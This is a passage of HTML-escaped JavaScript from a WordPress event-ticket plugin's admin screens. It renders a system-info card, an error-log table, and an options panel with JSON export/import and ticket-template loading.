			ticketUrlRows += &#039;&lt;div class=&quot;et-kv-row&quot;&gt;&lt;span class=&quot;et-kv-label&quot;&gt;Detail Default URL&lt;/span&gt;&lt;span class=&quot;et-kv-value&quot; style=&quot;word-break:break-all;&quot;&gt;&#039;+reply.infos.ticket.ticket_base_url+&#039;&lt;/span&gt;&lt;/div&gt;&#039;;
			ticketUrlRows += &#039;&lt;div class=&quot;et-kv-row&quot;&gt;&lt;span class=&quot;et-kv-label&quot;&gt;Scanner Default&lt;/span&gt;&lt;span class=&quot;et-kv-value&quot; style=&quot;word-break:break-all;&quot;&gt;&#039;+reply.infos.ticket.ticket_scanner_path+&#039;&lt;/span&gt;&lt;/div&gt;&#039;;
			ticketUrlRows += &#039;&lt;div class=&quot;et-kv-row&quot;&gt;&lt;span class=&quot;et-kv-label&quot;&gt;Detail Plugin Path&lt;/span&gt;&lt;span class=&quot;et-kv-value&quot; style=&quot;word-break:break-all;&quot;&gt;&#039;+reply.infos.ticket.ticket_detail_path+&#039;&lt;/span&gt;&lt;/div&gt;&#039;;
			ticketUrlRows += &#039;&lt;div class=&quot;et-kv-row&quot;&gt;&lt;span class=&quot;et-kv-label&quot;&gt;Scanner Plugin Path&lt;/span&gt;&lt;span class=&quot;et-kv-value&quot; style=&quot;word-break:break-all;&quot;&gt;&#039;+reply.infos.ticket.ticket_detail_path+&#039;scanner/&lt;/span&gt;&lt;/div&gt;&#039;;
			urlsCard.append(&#039;&lt;div class=&quot;et-kv-table&quot;&gt;&#039;+ticketUrlRows+&#039;&lt;/div&gt;&#039;);

			// ── Error Logs Card ──
			let errorCard = $(&#039;&lt;div class=&quot;et-card&quot;&gt;&#039;).appendTo(DIV);
			errorCard.append(&#039;&lt;div class=&quot;et-card-header&quot;&gt;&lt;span class=&quot;dashicons dashicons-warning&quot; style=&quot;color:var(--et-danger);margin-right:6px;&quot;&gt;&lt;/span&gt;Error Logs&lt;/div&gt;&#039;);
			let tabelle_errorlogs_datatable;
			$(&#039;&lt;div style=&quot;display:flex;gap:8px;justify-content:flex-end;margin-bottom:12px;&quot;&gt;&#039;)
				.append($(&#039;&lt;button&gt;&#039;).html(__(&#039;Refresh table&#039;, &#039;event-tickets-with-ticket-scanner&#039;)).addClass(&quot;button-secondary&quot;).on(&quot;click&quot;, ()=&gt;{
					tabelle_errorlogs_datatable.ajax.reload();
				}))
				.append($(&#039;&lt;button&gt;&#039;).html(&#039;&lt;span class=&quot;dashicons dashicons-download&quot; style=&quot;vertical-align:middle;margin-right:2px;font-size:16px;&quot;&gt;&lt;/span&gt;&#039;+__(&#039;Export CSV&#039;, &#039;event-tickets-with-ticket-scanner&#039;)).addClass(&quot;button-secondary&quot;).on(&quot;click&quot;, ()=&gt;{
					window.open(_requestURL(&#039;downloadErrorLogsCSV&#039;), &#039;_blank&#039;);
				}))
				.append($(&#039;&lt;button&gt;&#039;).html(__(&#039;Empty table&#039;, &#039;event-tickets-with-ticket-scanner&#039;)).addClass(&quot;sngmbh_btn-delete&quot;).on(&quot;click&quot;, ()=&gt;{
					LAYOUT.renderYesNo(__(&#039;Empty table&#039;, &#039;event-tickets-with-ticket-scanner&#039;), sprintf(/* translators: %s: name of ticket table */__(&#039;Do you want to empty the &quot;%s&quot; table? All data will be lost.&#039;, &#039;event-tickets-with-ticket-scanner&#039;), _x(&quot;Error Logs&quot;, &#039;title&#039;, &#039;event-tickets-with-ticket-scanner&#039;)), ()=&gt;{
						LAYOUT.renderYesNo(__(&#039;Empty table - last chance&#039;, &#039;event-tickets-with-ticket-scanner&#039;), sprintf(/* translators: %s: name of ticket table */__(&#039;Are you sure? You will not be able to restore the data, except you have a backup of your database. All data will be lost.&#039;, &#039;event-tickets-with-ticket-scanner&#039;), _x(&quot;Error Logs&quot;, &#039;title&#039;, &#039;event-tickets-with-ticket-scanner&#039;)), ()=&gt;{
							_makeGet(&#039;emptyTableErrorLogs&#039;, null, ()=&gt;{
							tabelle_errorlogs_datatable.ajax.reload();
							});
						});
					});
				}))
				.appendTo(errorCard);

			let div_tabelle = $(&#039;&lt;div&gt;&#039;).appendTo(errorCard);

			// ── Libraries Card ──
			let libCard = $(&#039;&lt;div class=&quot;et-card&quot;&gt;&#039;).appendTo(row3);
			let label_version = _x(&#039;Version&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;);
			libCard.append(&#039;&lt;div class=&quot;et-card-header&quot;&gt;&lt;span class=&quot;dashicons dashicons-admin-plugins&quot; style=&quot;color:var(--et-primary);margin-right:6px;&quot;&gt;&lt;/span&gt;Used Libraries&lt;/div&gt;&#039;);
			libCard.append(&#039;&lt;ul class=&quot;et-lib-list&quot;&gt;&#039;
				+&#039;&lt;li&gt;&lt;span class=&quot;et-lib-name&quot;&gt;jQuery&lt;/span&gt; &lt;span class=&quot;et-badge et-badge-purple&quot;&gt;&#039;+jQuery.fn.jquery+&#039;&lt;/span&gt;&lt;/li&gt;&#039;
				+&#039;&lt;li&gt;&lt;span class=&quot;et-lib-name&quot;&gt;jQuery UI&lt;/span&gt; &lt;span class=&quot;et-badge et-badge-purple&quot;&gt;&#039;+jQuery.ui.version+&#039;&lt;/span&gt;&lt;/li&gt;&#039;
				+&#039;&lt;li&gt;&lt;span class=&quot;et-lib-name&quot;&gt;PHP TWIG&lt;/span&gt; &lt;span class=&quot;et-badge et-badge-purple&quot;&gt;3.22.0&lt;/span&gt;&lt;/li&gt;&#039;
				+&#039;&lt;li&gt;&lt;span class=&quot;et-lib-name&quot;&gt;PHP QR Code&lt;/span&gt; &lt;span class=&quot;et-badge et-badge-purple&quot;&gt;1.1.4&lt;/span&gt;&lt;/li&gt;&#039;
				+&#039;&lt;li&gt;&lt;span class=&quot;et-lib-name&quot;&gt;FPDI&lt;/span&gt; &lt;span class=&quot;et-badge et-badge-purple&quot;&gt;2.3.7&lt;/span&gt;&lt;/li&gt;&#039;
				+&#039;&lt;li&gt;&lt;span class=&quot;et-lib-name&quot;&gt;FPDF&lt;/span&gt; &lt;span class=&quot;et-badge et-badge-purple&quot;&gt;1.85&lt;/span&gt;&lt;/li&gt;&#039;
				+&#039;&lt;li&gt;&lt;span class=&quot;et-lib-name&quot;&gt;TCPDF&lt;/span&gt; &lt;span class=&quot;et-badge et-badge-purple&quot;&gt;6.3.2&lt;/span&gt;&lt;/li&gt;&#039;
				+&#039;&lt;li&gt;&lt;span class=&quot;et-lib-name&quot;&gt;QR Scanner&lt;/span&gt; &lt;span class=&quot;et-badge et-badge-purple&quot;&gt;1.4.2&lt;/span&gt;&lt;/li&gt;&#039;
				+&#039;&lt;li&gt;&lt;span class=&quot;et-lib-name&quot;&gt;DataTables&lt;/span&gt; &lt;span class=&quot;et-badge et-badge-purple&quot;&gt;1.10.21&lt;/span&gt;&lt;/li&gt;&#039;
				+&#039;&lt;li&gt;&lt;span class=&quot;et-lib-name&quot;&gt;Raphael&lt;/span&gt; &lt;span class=&quot;et-badge et-badge-purple&quot;&gt;2.3.0&lt;/span&gt;&lt;/li&gt;&#039;
				+&#039;&lt;li&gt;&lt;span class=&quot;et-lib-name&quot;&gt;Ace Editor&lt;/span&gt;&lt;/li&gt;&#039;
				+&#039;&lt;li&gt;&lt;span class=&quot;et-lib-name&quot;&gt;html5-qrcode&lt;/span&gt; &lt;span class=&quot;et-badge et-badge-purple&quot;&gt;2.3.8&lt;/span&gt;&lt;/li&gt;&#039;
				+&#039;&lt;/ul&gt;&#039;);

			// ── Options Dump ──
			let optCard = $(&#039;&lt;div class=&quot;et-card&quot;&gt;&#039;).appendTo(DIV);
			optCard.append(&#039;&lt;div class=&quot;et-card-header&quot;&gt;&lt;span class=&quot;dashicons dashicons-admin-generic&quot; style=&quot;color:var(--et-primary);margin-right:6px;&quot;&gt;&lt;/span&gt;Options&lt;/div&gt;&#039;);
			let optionsContainer = $(&#039;&lt;div/&gt;&#039;).appendTo(optCard);
			$(&#039;&lt;button/&gt;&#039;).addClass(&quot;button button-secondary&quot;).html(__(&#039;Show all options&#039;, &#039;event-tickets-with-ticket-scanner&#039;)).appendTo(optionsContainer).on(&quot;click&quot;, function(){
				$(this).remove();
				let optTable = $(&#039;&lt;div class=&quot;et-kv-table&quot;&gt;&#039;);
				data.forEach(v=&gt;{
					if (v.type != &#039;heading&#039; &amp;&amp; v.key != &quot;serial&quot;) {
						if (v.additional &amp;&amp; v.additional.doNotRender &amp;&amp; v.additional.doNotRender === 1) {}
						else {
							let value = v.value;
							let def = &#039;&#039;;
							if (value == &#039;&#039;) {
								def = &#039; (DEFAULT)&#039;;
								value = v.default;
							}
							optTable.append(&#039;&lt;div class=&quot;et-kv-row&quot;&gt;&lt;span class=&quot;et-kv-label&quot; style=&quot;font-family:monospace;font-size:11px;&quot;&gt;&#039;+v.key+def+&#039;&lt;/span&gt;&lt;span class=&quot;et-kv-value&quot;&gt;&#039;+$(&#039;&lt;span&gt;&#039;).text(value).html()+&#039;&lt;/span&gt;&lt;/div&gt;&#039;);
						}
					}
				});
				optionsContainer.append(optTable);
			});

			// ── Repair Tables Button ──
			$(&#039;&lt;button/&gt;&#039;).css(&quot;margin-top&quot;, &quot;8px&quot;).addClass(&quot;sngmbh_btn-delete&quot;).html(_x(&quot;Repair tables&quot;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)).appendTo(DIV).on(&quot;click&quot;, ()=&gt;{
	    		LAYOUT.renderYesNo(__(&#039;Repair database tables?&#039;, &#039;event-tickets-with-ticket-scanner&#039;), __(&#039;Do you really want to try to repair your database table definitions for the plugin? It should be safe, but only needed in very rare cases. You might see errors messages during the page reload - that is normal. Why not asking support, if you should do it? ;)&#039;, &#039;event-tickets-with-ticket-scanner&#039;), dlg=&gt;{
					dlg.html(_getSpinnerHTML());
					dlg.dialog({
						title:_x(&#039;Repaired&#039;, &#039;title&#039;, &#039;event-tickets-with-ticket-scanner&#039;), modal:true, dialogClass: &quot;no-close&quot;,
						close: function(event, ui){ abort=true; },
						buttons: [
							{
								text: _x(&#039;Ok&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
								click: function() {
									$( this ).dialog( _x(&#039;Close&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;) );
									$( this ).html(&#039;&#039;);
								}
							}
						]
					});
					_makePost(&#039;repairTables&#039;, {}, result=&gt;{
						speakOutLoud(result, true);
						dlg.html(result);
					});
	    		});
			});

			function __renderTabelleErrorLogs() {
				div_tabelle.html(_getSpinnerHTML());
				let table_id = myAjax.divPrefix+&#039;_tabelle_errorlogs&#039;;
				let tabelle = $(&#039;&lt;table/&gt;&#039;).attr(&quot;id&quot;, table_id);
				tabelle.html(&#039;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;/th&gt;&lt;th align=&quot;left&quot;&gt;&#039;+_x(&#039;Created&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/th&gt;&lt;th align=&quot;left&quot;&gt;&#039;+_x(&#039;Exception&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/th&gt;&lt;th&gt;&#039;+_x(&#039;Function&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&#039;);
				div_tabelle.html(tabelle);

				let table = $(&#039;#&#039;+table_id);
				$(table).DataTable().clear().destroy();
				tabelle_errorlogs_datatable = $(table).DataTable({
					&quot;responsive&quot;: true,
					&quot;searching&quot;: true,
					&quot;ordering&quot;: true,
					&quot;processing&quot;: true,
					&quot;serverSide&quot;: true,
					&quot;stateSave&quot;: false,
					&quot;pageLength&quot;:50,
					&quot;ajax&quot;: {
						url: _requestURL(&#039;getErrorLogs&#039;),
						type: &#039;POST&#039;,
					},
					&quot;order&quot;: [[ 1, &quot;desc&quot; ]],
					&quot;columns&quot;:[
						{&quot;data&quot;:null,&quot;className&quot;:&#039;details-control&#039;,&quot;orderable&quot;:false,&quot;defaultContent&quot;:&#039;&#039;, &quot;width&quot;:10},
						{&quot;data&quot;:&quot;time&quot;, &quot;orderable&quot;:true, &quot;width&quot;:80},
						{&quot;data&quot;:&quot;exception_msg&quot;, &quot;orderable&quot;:true},
						{&quot;data&quot;:&quot;caller_name&quot;, &quot;orderable&quot;:true},
					]
				});
				tabelle.css(&quot;width&quot;, &quot;100%&quot;);
				$(&#039;#&#039;+table_id+&#039; tbody&#039;).on(&#039;click&#039;, &#039;td.details-control&#039;, e=&gt;{
					var tr = $(e.target).parents(&#039;tr&#039;);
					var row = tabelle_errorlogs_datatable.row( tr );
					if ( row.child.isShown() ) {
						// This row is already open - close it
						row.child.hide();
						tr.removeClass(&#039;shown&#039;);
					} else {
						// Open this row
						let d = row.data();
						row.child( &quot;#&quot;+d.id+&#039;&lt;br&gt;&lt;pre&gt;&#039;+destroy_tags(d.msg)+&#039;&lt;/pre&gt;&#039; ).show();
						tr.addClass(&#039;shown&#039;);
					}

				});
			}
			__renderTabelleErrorLogs();

		});
	}

	/**
	 * returns 0 if the versions are the same, 1 if version1 is greater, -1 if version2 is greater
	 */
	function compareVersions(version1, version2) {
		const v1 = version1.split(&#039;.&#039;).map(Number);
		const v2 = version2.split(&#039;.&#039;).map(Number);

		for (let i = 0; i &lt; Math.max(v1.length, v2.length); i++) {
			const num1 = v1[i] || 0;
			const num2 = v2[i] || 0;

			if (num1 &gt; num2) return 1;
			if (num1 &lt; num2) return -1;
		}

		/*
		// Example usage:
		const result = compareVersions(&#039;5.8.1&#039;, &#039;5.8.2&#039;);
		if (result &gt; 0) {
			console.log(&#039;Version 5.8.1 is greater than 5.8.2&#039;);
		} else if (result &lt; 0) {
			console.log(&#039;Version 5.8.1 is less than 5.8.2&#039;);
		} else {
			console.log(&#039;Both versions are equal&#039;);
		}
		*/

		return 0;
	}

	function _displayOptionsArea() {
		STATE = &#039;options&#039;;
		DIV.html(_getSpinnerHTML());
		getOptionsFromServer(reply=&gt;{
			let data = reply.options; // options values
			let meta_tags_keys = reply.meta_tags_keys;

			DIV.html(getBackButtonDiv());

			// Create tabs
			let tabs = $(&#039;&lt;div class=&quot;tabs&quot;/&gt;&#039;);
			let tabOptions = $(&#039;&lt;div id=&quot;tab-options&quot; class=&quot;tab-content&quot;/&gt;&#039;);

			// Create tab navigation
			let tabNav = $(&#039;&lt;ul class=&quot;tab-nav&quot;/&gt;&#039;);
			tabNav.append(&#039;&lt;li&gt;&lt;a href=&quot;#tab-options&quot;&gt;Options&lt;/a&gt;&lt;/li&gt;&#039;);
			if (isPremium() &amp;&amp; typeof PREMIUM.displayOptionsArea_Templates !== &quot;undefined&quot;) {
				tabNav.append(PREMIUM.displayOptionsArea_Tab);
			}

			tabs.append(tabNav);
			tabs.append(tabOptions);
			if (isPremium() &amp;&amp; typeof PREMIUM.displayOptionsArea_Templates !== &quot;undefined&quot;) {
				tabs.append(PREMIUM.displayOptionsArea_Templates(_getOptions_Versions_getByKey(&#039;premium&#039;)));
			}

			// seating plan tab
			let tabNavSeatingplan = $(&#039;&lt;li&gt;&lt;a href=&quot;#tab-seatingplan&quot;&gt;Seating Plans&lt;/a&gt;&lt;/li&gt;&#039;);
			tabNavSeatingplan.on(&quot;click&quot;, ()=&gt;{
				tabSeatingplan.html(_displaySeatingplanArea());
			});
			tabNav.append(tabNavSeatingplan);
			let tabSeatingplan = $(&#039;&lt;div id=&quot;tab-seatingplan&quot; class=&quot;tab-content&quot;/&gt;&#039;);
			tabs.append(tabSeatingplan);

			// change history tab
			let tabNavHistory = $(&#039;&lt;li&gt;&lt;a href=&quot;#tab-options-history&quot;&gt;&#039; + _x(&#039;Change History&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;) + &#039;&lt;/a&gt;&lt;/li&gt;&#039;);
			let tabHistory = $(&#039;&lt;div id=&quot;tab-options-history&quot; class=&quot;tab-content&quot;/&gt;&#039;);
			let historyRendered = false;
			tabNavHistory.on(&quot;click&quot;, ()=&gt;{
				if (!historyRendered) {
					historyRendered = true;
					__renderTabelleOptionsHistory(tabHistory);
				}
			});
			tabNav.append(tabNavHistory);
			tabs.append(tabHistory);

			DIV.append(tabs);

			// Populate Options tab
			let div_options = $(&#039;&lt;div/&gt;&#039;);
			let div_infos = $(&#039;&lt;div style=&quot;padding-top: 50px;&quot;/&gt;&#039;);
			let resetOption_div = $(&#039;&lt;div class=&quot;reset_option_wrap&quot; style=&quot;padding-top: 20px;&quot;/&gt;&#039;);
			tabOptions.append(div_options);
			tabOptions.append(&#039;&lt;hr&gt;&#039;);
			tabOptions.append(resetOption_div);
			$(&#039;&lt;button class=&quot;button reset_btn_actn&quot;&gt;&#039;).html(_x(&#039;Reset All Options&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;))
				.on(&#039;click&#039;, ()=&gt;{
					LAYOUT.renderYesNo(_x(&#039;Reset All Options&#039;, &#039;title&#039;, &#039;event-tickets-with-ticket-scanner&#039;), __(&#039;Do you really want to reset all the option?&#039;, &#039;event-tickets-with-ticket-scanner&#039;), ()=&gt;{
						_makePost(&#039;resetOptions&#039;,&#039;&#039;, function(result) {
							if(result){
								_displayOptionsArea();
							}
						});
					});
				}).appendTo(resetOption_div);
			tabOptions.append(div_infos);
			div_infos.append(&#039;&lt;a name=&quot;replacementtags&quot;&gt;&lt;/a&gt;&lt;h3&gt;&#039;+_x(&#039;Replacement Tags&#039;, &#039;title&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/h3&gt;&#039;).append(&#039;&lt;p&gt;&#039;+__(&#039;You can use these replacement tags in your text messages and URLs for the meta ticket values&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/p&gt;&#039;);
			meta_tags_keys.forEach(v=&gt;{
				let t = &#039;&lt;p&gt;&lt;b&gt;{&#039;+v.key+&#039;}&lt;/b&gt;: &#039;+v.label+&#039;&lt;/p&gt;&#039;;
				div_infos.append(t);
			});

			//div_options.append(&#039;&lt;h3&gt;&#039;+_x(&#039;Options&#039;, &#039;title&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;/h3&gt;&#039;);
			div_options.append(&#039;&lt;p&gt;&lt;span class=&quot;dashicons dashicons-external&quot;&gt;&lt;/span&gt;&lt;a href=&quot;https://vollstart.com/event-tickets-with-ticket-scanner/docs/&quot; target=&quot;_blank&quot;&gt;Click here, to visit the documentation.&lt;/a&gt;&lt;/p&gt;&#039;);
			div_options.append(getUseFulVideosHTML());

			let exportImport_div = $(&#039;&lt;div style=&quot;padding-top:10px;padding-bottom:10px;&quot;&gt;&#039;).appendTo(div_options);
			$(&#039;&lt;button class=&quot;button&quot;&gt;&#039;).html(_x(&#039;Export Options&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;))
				.on(&#039;click&#039;, ()=&gt;{
					_makePost(&#039;exportOptions&#039;, &#039;&#039;, function(result) {
						if (result) {
							let json = JSON.stringify(result, null, 2);
							let blob = new Blob([json], {type: &#039;application/json&#039;});
							let url = URL.createObjectURL(blob);
							let a = document.createElement(&#039;a&#039;);
							a.href = url;
							let date = new Date().toISOString().slice(0, 10);
							a.download = &#039;event-tickets-options-&#039; + date + &#039;.json&#039;;
							document.body.appendChild(a);
							a.click();
							document.body.removeChild(a);
							URL.revokeObjectURL(url);
						}
					});
				}).appendTo(exportImport_div);
			let importFileInput = $(&#039;&lt;input type=&quot;file&quot; accept=&quot;.json&quot; style=&quot;display:none;&quot;&gt;&#039;);
			exportImport_div.append(importFileInput);
			$(&#039;&lt;button class=&quot;button&quot; style=&quot;margin-left:5px;&quot;&gt;&#039;).html(_x(&#039;Import Options&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;))
				.on(&#039;click&#039;, ()=&gt;{
					importFileInput.val(&#039;&#039;);
					importFileInput.trigger(&#039;click&#039;);
				}).appendTo(exportImport_div);
			$(&#039;&lt;button class=&quot;button&quot; style=&quot;margin-left:5px;&quot;&gt;&#039;).html(&#039;&lt;span class=&quot;dashicons dashicons-welcome-learn-more&quot; style=&quot;vertical-align:middle;margin-right:2px;&quot;&gt;&lt;/span&gt;&#039; + _x(&#039;Start Wizard&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;))
				.on(&#039;click&#039;, ()=&gt;{ __showSetupWizard(true); })
				.appendTo(exportImport_div);
			if (isPremium()) {
				$(&#039;&lt;button class=&quot;button&quot; style=&quot;margin-left:5px;&quot;&gt;&#039;).html(&#039;&lt;span class=&quot;dashicons dashicons-star-filled&quot; style=&quot;vertical-align:middle;margin-right:2px;&quot;&gt;&lt;/span&gt;&#039; + _x(&#039;Premium Wizard&#039;, &#039;label&#039;, &#039;event-tickets-with-ticket-scanner&#039;))
					.on(&#039;click&#039;, ()=&gt;{ __showPremiumWizard(true); })
					.appendTo(exportImport_div);
			}
			importFileInput.on(&#039;change&#039;, function() {
				let file = this.files[0];
				if (!file) return;
				let reader = new FileReader();
				reader.onload = function(e) {
					let parsed;
					try {
						parsed = JSON.parse(e.target.result);
					} catch(err) {
						LAYOUT.renderFatalError(__(&#039;Invalid JSON file.&#039;, &#039;event-tickets-with-ticket-scanner&#039;));
						return;
					}
					if (!parsed.options || typeof parsed.options !== &#039;object&#039;) {
						LAYOUT.renderFatalError(__(&#039;Invalid options file: missing options data.&#039;, &#039;event-tickets-with-ticket-scanner&#039;));
						return;
					}
					let count = Object.keys(parsed.options).length;
					LAYOUT.renderYesNo(
						_x(&#039;Import Options&#039;, &#039;title&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
						__(&#039;Import %d options? This will overwrite current settings.&#039;, &#039;event-tickets-with-ticket-scanner&#039;).replace(&#039;%d&#039;, count),
						()=&gt;{
							_makePost(&#039;importOptions&#039;, {options: JSON.stringify(parsed.options)}, function(result) {
								if (result) {
									_displayOptionsArea();
								}
							});
						}
					);
				};
				reader.readAsText(file);
			});

			let menu_band = $(&#039;&lt;div style=&quot;padding-top:10px;padding-bottom:15px;&quot;&gt;&#039;).appendTo(div_options);
			let menu_values = [];
			data.forEach(v=&gt;{
				if (v.type === &quot;heading&quot;) {
					menu_values.push(v);
				}
			});
			menu_values.sort((a,b)=&gt;{
				if(a.label &lt; b.label) { return -1; }
    			if(a.label &gt; b.label) { return 1; }
				return 0;
			});
			menu_values.forEach(v=&gt;{
				$(&#039;&lt;a href=&quot;#&#039;+v.key+&#039;&quot; style=&quot;padding:5px;padding-left:0;margin-right:10px;&quot;&gt;&#039;).html(v.label).appendTo(menu_band);
			});
			$(&#039;&lt;a href=&quot;#topMenu&quot; style=&quot;text-decoration:none;position:fixed;bottom:50px;right:10px;background-color:#b225cb;color:white;border-radius:15px;border:1 px solid blue;display:inline-block;padding:10px;&quot;&gt;&#039;).html(&#039;&lt;i class=&quot;dashicons dashicons-arrow-up&quot;&gt;&lt;/i&gt; Top&#039;).appendTo(div_options);

			// Add jQuery for tab functionality
			$(&#039;.tab-nav a&#039;).on(&#039;click&#039;, function(e) {
				e.preventDefault();
				$(&#039;.tab-content&#039;).hide();
				$($(this).attr(&#039;href&#039;)).show();
				$(&#039;.tab-nav a&#039;).removeClass(&#039;active&#039;);
				$(this).addClass(&#039;active&#039;);
			});

			// Show the first tab by default
			if (typeof PARAS.subdisplay !== &quot;undefined&quot; &amp;&amp; PARAS.subdisplay == &#039;templates&#039;) {
				$(&#039;.tab-nav a&#039;).eq(1).click();
			} else {
				$(&#039;.tab-nav a:first&#039;).click();
			}

			function __createTicketTemplateChooserBox(ticket_template, editor) {
				return $(&#039;&lt;div style=&quot;width:250px;display:inline-block;margin-right:5px;text-align:center;&quot;&gt;&#039;)
						.append(&#039;&lt;img style=&quot;width:250px;&quot; src=&quot;&#039;+myAjax._plugin_home_url+&#039;/img/ticket_templates/&#039;+ticket_template.image_url+&#039;&quot;&gt;&#039;)
						.append(&quot;&lt;br&gt;Zero-Padding: &quot;+(ticket_template.wcTicketPDFZeroMarginTest ? &quot;Yes&quot; : &quot;No&quot;))
						.append(&quot;, Size: (&quot;+ticket_template.wcTicketSizeWidthTest+&#039;x&#039;+ticket_template.wcTicketSizeHeightTest+&quot;)&quot;)
						.append(&quot;&lt;br&gt;&quot;)
						.append($(&#039;&lt;button class=&quot;button button-primary&quot;&gt;&#039;).text(__(&#039;Load template&#039;,&#039;event-tickets-with-ticket-scanner&#039;)).on(&quot;click&quot;, ()=&gt;{
							LAYOUT.renderYesNo(_x(&#039;Load Template Ticket Code&#039;, &#039;title&#039;, &#039;event-tickets-with-ticket-scanner&#039;),
								__(&#039;Do you want to replace the test ticket template code with this template?&#039;, &#039;event-tickets-with-ticket-scanner&#039;)+&#039;&lt;br&gt;&lt;p&gt;&lt;img style=&quot;width:250px;&quot; src=&quot;&#039;+myAjax._plugin_home_url+&#039;/img/ticket_templates/&#039;+ticket_template.image_url+&#039;&quot;&gt;&lt;/p&gt;&lt;p&gt;Following values will be changed:&#039;
								+&#039;&lt;br&gt;&lt;b&gt;wcTicketPDFZeroMarginTest&lt;/b&gt;: &#039;+(ticket_template.wcTicketPDFZeroMarginTest ? &quot;Yes&quot; : &quot;No&quot;)
								+&#039;&lt;br&gt;&lt;b&gt;wcTicketPDFisRTLTest&lt;/b&gt;: &#039;+(ticket_template.wcTicketPDFisRTLTest ? &quot;Yes&quot; : &quot;No&quot;)
								+&#039;&lt;br&gt;&lt;b&gt;wcTicketSizeWidthTest&lt;/b&gt;: &#039;+ticket_template.wcTicketSizeWidthTest
								+&#039;&lt;br&gt;&lt;b&gt;wcTicketSizeHeightTest&lt;/b&gt;: &#039;+ticket_template.wcTicketSizeHeightTest
								+&#039;&lt;br&gt;&lt;b&gt;wcTicketQRSizeTest&lt;/b&gt;: &#039;+ticket_template.wcTicketQRSizeTest
								+&#039;&lt;/p&gt;&#039;
								, ()=&gt;{
									editor.wcTicketDesignerTemplateTest_editor.setValue(ticket_template.wcTicketDesignerTemplateTest);
									$(&#039;input[data-key=&quot;wcTicketPDFZeroMarginTest&quot;&#039;).prop(&quot;checked&quot;,ticket_template.wcTicketPDFZeroMarginTest).trigger(&quot;change&quot;);
									$(&#039;input[data-key=&quot;wcTicketPDFisRTLTest&quot;&#039;).prop(&quot;checked&quot;,ticket_template.wcTicketPDFisRTLTest).trigger(&quot;change&quot;);
									$(&#039;input[data-key=&quot;wcTicketSizeWidthTest&quot;&#039;).val(ticket_template.wcTicketSizeWidthTest).trigger(&quot;change&quot;);
									$(&#039;input[data-key=&quot;wcTicketSizeHeightTest&quot;&#039;).val(ticket_template.wcTicketSizeHeightTest).trigger(&quot;change&quot;);
									$(&#039;input[data-key=&quot;wcTicketQRSizeTest&quot;&#039;).val(ticket_template.wcTicketQRSizeTest).trigger(&quot;change&quot;);
									let value = editor.wcTicketDesignerTemplateTest_editor.getValue().trim();
									_saveOptionValue(&quot;wcTicketDesignerTemplateTest&quot;, value);
									editor.wcTicketDesignerTemplateTest_btn.prop(&quot;disabled&quot;, true);

								});
						}));
			}

			// render die input felder
			function __getOptionByKey(key) {
				for(let a=0;a&lt;data.length;a++) {
					if (key == data[a].key) return data[a];
				}
				return null;
			}

			let editor = {}; // for ace editor
			data.forEach(v=&gt;{
				if (typeof v.additional !== &quot;undefined&quot; &amp;&amp; v.additional.doNotRender) return;
				if (v.type == &quot;heading&quot;) {
					let desc = v.desc;
					if (typeof v._doc_video !== &quot;undefined&quot; &amp;&amp; v._doc_video != &quot;&quot;) {
						desc += &#039; &lt;span class=&quot;dashicons dashicons-external&quot;&gt;&lt;/span&gt; &lt;a href=&quot;&#039;+v._doc_video+&#039;&quot; target=&quot;_blank&quot;&gt;Video Help&lt;/a&gt;&#039;;
					}
					div_options.append(&#039;&lt;hr&gt;&#039;).append(&#039;&lt;h3 id=&quot;&#039;+v.key+&#039;&quot; &#039;+(desc !== &quot;&quot; ? &#039; style=&quot;margin-bottom:0;&quot;&#039; : &#039;&#039;)+&#039;&gt;&#039;+v.label+&#039;&lt;/h3&gt;&#039;).append(desc !== &quot;&quot; ? &#039;&lt;div style=&quot;margin-bottom:15px;&quot;&gt;&lt;i&gt;&#039;+desc+&#039;&lt;/i&gt;&lt;/div&gt;&#039;:&#039;&#039;);
				} else if (v.type ==&quot;desc&quot;) {
					let desc = v.desc+&quot; &quot;;
					if (typeof v._do_not_trim !== &quot;undefined&quot; &amp;&amp; v._do_not_trim) {
						desc += &#039;To leave this value blank, enter a space. &#039;;
					}
					if (typeof v._doc_video !== &quot;undefined&quot; &amp;&amp; v._doc_video != &quot;&quot;) {
						desc += &#039;&lt;span class=&quot;dashicons dashicons-external&quot;&gt;&lt;/span&gt; &lt;a href=&quot;&#039;+v._doc_video+&#039;&quot; target=&quot;_blank&quot;&gt;Video Help&lt;/a&gt;&#039;;
					}
					div_options.append(&#039;&lt;div/&gt;&#039;).css({&quot;margin-bottom&quot;: &quot;15px&quot;,&quot;margin-right&quot;: &quot;15px&quot;}).append(&#039;&lt;b&gt;&#039;+v.label+&#039;&lt;/b&gt;&lt;br&gt;&#039;+desc+&quot;&lt;br&gt;&quot;);
				} else {
					let elem_div = $(&#039;&lt;div/&gt;&#039;).css({&quot;margin-bottom&quot;: &quot;15px&quot;,&quot;margin-right&quot;: &quot;15px&quot;});
					let elem_input = $(&#039;&lt;input type=&quot;&#039;+v.type+&#039;&quot;&gt;&#039;);
					elem_input.attr(&quot;placeholder&quot;, v.default);
					if (typeof v.additional !== &quot;undefined&quot; &amp;&amp; typeof v.additional.disabled !== &quot;undefined&quot;) {
						elem_input.attr(&quot;disabled&quot;, true);
					}

					let cbf = null;
					let pcbf = null;
					let value = v.value;
